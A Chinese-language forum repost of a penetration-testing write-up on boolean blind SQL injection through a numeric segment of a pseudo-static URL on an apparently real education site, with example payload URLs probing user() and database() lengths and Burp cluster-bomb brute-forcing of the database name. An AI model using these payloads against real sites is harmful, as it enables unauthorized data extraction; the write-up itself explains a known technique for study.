发帖
扫码访问
 注册
 登录
首页 ›网络安全› 渗透测试 › 查看内容

一次伪静态页面的SQL注入

2021-9-2 11:44 1330 0

摘要: 涉及技能点 SQL注入基础原理 盲注常用函数及思路 burpsuite基础知识
关键词： 合时 注入 html database 71 参数 SELECT length WHERE id

公众号：白帽子左一
专注分享渗透经验，干货技巧....

前言

最近工作繁忙，许久没有挖洞，打开度娘，凡事随缘，偶米头发~~(⊙﹏⊙)

涉及技能点

  • SQL注入基础原理
  • 盲注常用函数及思路
  • burpsuite基础知识

过程记录

1.发现

在翻阅一EDU站点时，发现路径中带有明显的数字参数

好像与我们平时习惯的xxx.php?id=不同呃

2.尝试注入

按照以往习惯，先用order by探探底，结果翻车了…应该有自定义逻辑在过滤敏感关键词。

继续努力，峰回路转,耶~~~！

构造boolen等式时能够被带入查询语句并显示不同效果

当条件不符合时，71-false=71，显示71.html，无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false

而当条件符合时，71-true=70，显示70.html，有数据

http://EDU_SITE/.../..._id/71-true.html

=> SELECT ..FROM .. WHERE ... AND _id=71-true

3.确定攻击方式，获取数据进行验证

获取用户名长度

http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度

http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

尝试用burpsuite的clusterboom模式对database进行爆破

其中参数1 为位数，参数2 为可能出现的字符明文

获得最终database()=db_cms

总结

在尝试sql注入的时候，往往过分关注get传参或者post传参而忽略了URL中自带的注入点，有时候一些明显的数字型参数也能够带入payload

本文出处： https://www.toutiao.com/a7003151286921134631/
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过
雷人
握手
鲜花
鸡蛋
收藏 分享 邀请
上一篇：某大型CMS后台注入从分析到利用下一篇：大佬通过社工+技术把一色情网站的底裤扒了...事情经过

最新评论

相关分类

返回顶部